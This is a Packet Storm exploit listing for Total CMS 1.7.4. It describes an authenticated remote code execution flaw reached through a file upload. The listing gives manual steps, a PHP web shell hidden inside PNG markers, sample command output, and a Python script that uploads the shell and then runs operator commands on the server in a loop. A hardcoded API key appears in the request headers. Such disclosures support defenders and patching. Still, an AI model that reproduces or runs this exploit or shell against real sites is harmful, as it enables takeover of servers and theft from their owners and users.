exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Total CMS 1.7.4 Shell Upload

Total CMS 1.7.4 Shell Upload
Posted Jun 2, 2023
Authored by tmrswrr

Total CMS version 1.7.4 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 311a9fa22f204b4564b82c2a94c4476851b555dc106ca4601cf30653dcdf3e5a

Total CMS 1.7.4 Shell Upload

Change Mirror Download
# Exploit Title: Total CMS 1.7.4 - Remote Code Execution (RCE) on File Upload (Authenticated) 
# Date: 03/06/2023
# Exploit Author: tmrswrr
# Version: 1.7.4
# Vendor home page : https://www.totalcms.co/
# Tested Url : https://www.totalcms.co/demo/soccer/
#PLatform : MACOSX

1) Go to this page and click edit page button
https://localhost/demo/soccer/
2)After go down and will you see downloads area
3)Add in this area shell.php file


?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>" ?>
IEND

4) After open this file and write commands

https://localhosts/cms-data/depot/cmssoccerdepot/shell.php?cmd=id
Result :

?PNG ...

uid=996(caddy) gid=998(caddy) groups=998(caddy),33(www-data)

IEND

Exploit:

import requests

url = input("Enter the URL: ")
urll = url + "/rw_common/plugins/stacks/total-cms/totalapi.php"

headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'application/json',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache',
'X-Requested-With': 'XMLHttpRequest',
'Total-Key': '3c79a3226d86c825bc0c4cb0cca05b17',
'Content-Type': 'multipart/form-data; boundary=---------------------------17104855723143716151436432930',
'Origin': urll,
'Dnt': '1',
'Referer': f'{urll}/demo/soccer/admin/',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'Te': 'trailers',
'Connection': 'close'
}

data = '''\
-----------------------------17104855723143716151436432930\r\n
Content-Disposition: form-data; name="slug"\r\n
\r\n
cmssoccerdepot\r\n
-----------------------------17104855723143716151436432930\r\n
Content-Disposition: form-data; name="type"\r\n
\r\n
depot\r\n
-----------------------------17104855723143716151436432930\r\n
Content-Disposition: form-data; name="file"; filename="hey.php"\r\n
Content-Type: application/x-php\r\n
\r\n
?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>" ?>
IEND\r\n
\r\n
-----------------------------17104855723143716151436432930--'''

while True:
command = input("WRITE YOUR COMMAND ('exit' to quit): ")

if command.lower() == "exit":
break

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
shell_path = f'/cms-data/depot/cmssoccerdepot/hey.php?cmd={command}'
shell_url = url + shell_path
print(shell_url)
shell_response = requests.get(shell_url)
print(shell_response.text)
else:
print('Failed to execute the request.')

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close